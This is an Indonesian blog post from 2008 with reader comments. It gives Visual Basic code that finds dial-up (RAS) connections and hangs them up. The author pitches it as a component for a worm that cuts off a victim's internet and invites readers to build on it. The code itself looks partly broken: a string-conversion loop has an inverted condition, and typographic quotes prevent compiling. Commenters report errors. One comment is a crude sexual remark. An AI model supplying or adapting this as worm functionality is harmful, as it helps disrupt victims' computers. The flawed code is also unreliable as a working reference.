kode VB memutuskan koneksi internet
Jika anda ingin membuat worm yang bisa memutuskan koneksi internet pada komputer korban, atau misalnya anda ingin mematikan koneksi intenet mengunakan sebuah aplikasi. Dengan kode dibawah ini bisa anda wujudkan mimpi anda tersebut.
Untuk worm anda bisa gabungkan dengan fungsi-fungsi lainnya tergantung dari kreatifitas anda. Semua kode berikut ini anda masukkan kedalam modul.
Option Explicit
Public Const RAS_MAXENTRYNAME As Integer = 256
Public Const RAS_MAXDEVICETYPE As Integer = 16
Public Const RAS_MAXDEVICENAME As Integer = 128
Public Const RAS_RASCONNSIZE As Integer = 412
Const ERROR_SUCCESS = 0
Public Type RasEntryName
dwSize As Long
szEntryName(RAS_MAXENTRYNAME) As Byte
End Type
Public Type RasConn
dwSize As Long
hRasConn As Long
szEntryName(RAS_MAXENTRYNAME) As Byte
szDeviceType(RAS_MAXDEVICETYPE) As Byte
szDeviceName(RAS_MAXDEVICENAME) As Byte
End Type
Public Declare Function RasEnumConnections Lib _
“rasapi32.dll” Alias “RasEnumConnectionsA” (lpRasConn As _
Any, lpcb As Long, lpcConnections As Long) As Long
Public Declare Function RasHangUp Lib “rasapi32.dll” Alias _
“RasHangUpA” (ByVal hRasConn As Long) As Long
Public gstrISPName As String
Public ReturnCode As Long
Public Sub HangUp()
Dim i As Long
Dim lpRasConn(255) As RasConn
Dim lpcb As Long
Dim lpcConnections As Long
Dim hRasConn As Long
lpRasConn(0).dwSize = RAS_RASCONNSIZE
lpcb = RAS_MAXENTRYNAME * lpRasConn(0).dwSize
lpcConnections = 0
ReturnCode = RasEnumConnections(lpRasConn(0), lpcb, _
lpcConnections)
If ReturnCode = ERROR_SUCCESS Then
For i = 0 To lpcConnections - 1
If Trim(ByteToString(lpRasConn(i).szEntryName)) = Trim(gstrISPName) Then
hRasConn = lpRasConn(i).hRasConn
ReturnCode = RasHangUp(ByVal hRasConn)
End If
Next i
End If
End Sub
Public Function ByteToString(bytString() As Byte) As String
Dim i As Integer
ByteToString = “”
i = 0
While bytString(i) = 0&
ByteToString = ByteToString & Chr(bytString(i))
i = i + 1
Wend
End Function





stmikbg.com adalah web untuk komunitas bagi anak-anak stmik bumigora khususnya dan anak-anak IT umumnya, baek yang cupu maupun yang expert.
April 30th, 2008 at 9:45 pm
penunjuk pemakaiannya mana???
maklum nubi……..
May 4th, 2008 at 12:12 am
klo nyambung wanita yg horny trs gmn caranya om??
May 20th, 2008 at 5:31 pm
kalo komputer mati hidup kira-kira kenapa ya….?…soalnya ini barang baru sudah saya semua masih bagus…..mungkin teman-teman ada punya solusi baiknya di apakan ya….biar komnya bisa pakai lagi
May 20th, 2008 at 6:41 pm
mati hidup? coba cek kipas procesornya kadang2 kalo over heating dia akan mati sendiri. Kemungkinan besar kipas untuk heatsink procesor tidak normal jalannya, bisa disebabkan karena kotor atau bisa juga heatsink tidak bagus bersentuhan dengan permukaan procesor shg procesor jadi over heating.
June 11th, 2008 at 9:44 pm
Ada File Zipnya Gak BOZZZZ……?
Soalnya sering error klo langsung dimasukan ke Skrip Vbnya
Thanks
December 25th, 2008 at 5:15 pm
Public Declare Function RasEnumConnections Lib _
“rasapi32.dll” Alias “RasEnumConnectionsA” (lpRasConn As _
Any, lpcb As Long, lpcConnections As Long) As Long
Public Declare Function RasHangUp Lib “rasapi32.dll” Alias _
“RasHangUpA” (ByVal hRasConn As Long) As Long
bila di vb kode tersebut eror,
pemakain nya bagaimna ya?
misalkan dalam sebuah button, ketika di klik akan putus koneksi tersebut, nah….ini caranya bagaimna?
December 25th, 2008 at 5:17 pm
apakah harus ada referens yang harus di aktifkan lagi?
please mhon bantuan nya ya…